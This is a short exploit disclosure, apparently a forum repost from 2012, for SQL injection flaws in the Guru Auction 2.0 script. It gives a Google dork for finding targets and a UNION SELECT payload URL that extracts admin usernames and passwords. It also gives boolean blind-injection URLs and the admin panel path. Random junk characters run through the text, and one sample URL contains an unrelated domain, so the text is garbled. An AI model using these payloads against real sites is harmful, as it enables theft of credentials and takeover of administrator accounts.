Guru Auction 2.0 Multiple SQL Injection Vulnerabilities" ^ }* N- m* { S
# G4 `; R0 `. X D1 ^$ |# f3 ?
作者 : v3n0m3 n1 k* O- z1 N2 w6 R3 s8 w
应用 : Guru Auction 2.0
( ]" \. }, t1 K6 M5 GPrice : $49
( l+ B o+ i+ Z& x- |Vendor : http://www.guruscript.com/( \+ h- N) {3 V6 c$ \
Google Dork : inurl:subcat.php?cate_id=
8 @0 h) M2 f/ E, I1 o ( ]/ I9 f5 S4 M1 C$ @3 J6 b
SQLi p0c:
+ D3 B) m! |, A' u~~~~~~~~~~
# k2 b6 Y! Z+ _8 H( Nhttp://domain.tld/[path]/subcat.php?cate_id=-9999+union+all+select+null,group_concat(user_name,char(58),password),null+from+admin--0 G! F9 ^; u- \
! `+ Z0 H$ f- d% c }$ d5 m2 E* ?# W
# d p$ `( V, g) t6 G% l6 t6 e
盲注 p0c:2 A1 a& L. t% y" V* C/ k2 K
~~~~~~~~~~
: Z8 d6 R1 ~' v' y$ s$ lhttp://www.political-security.com /[path]/detail.php?item_id=575+AND+SUBSTRING(@@version,1,1)=5 << true) | V/ x+ K- i: U' s2 W
http://domain.tld/[path]/detail.php?item_id=575+AND+SUBSTRING(@@version,1,1)=4 << false
' x- o2 a" V0 b% R% z! Y* x# w : Y! f% K" u3 g, h
管理登录入口:9 t" t2 a" ?7 V8 x1 w3 p* q
~~~~~~~~~~4 x# x" l* X, W( V5 M
http://domain.tld/[path]/admin/
4 ^$ E, c1 T2 ?! i/ P6 m7 y |
发表于 2012-12-31 09:24:05
收藏
支持
反对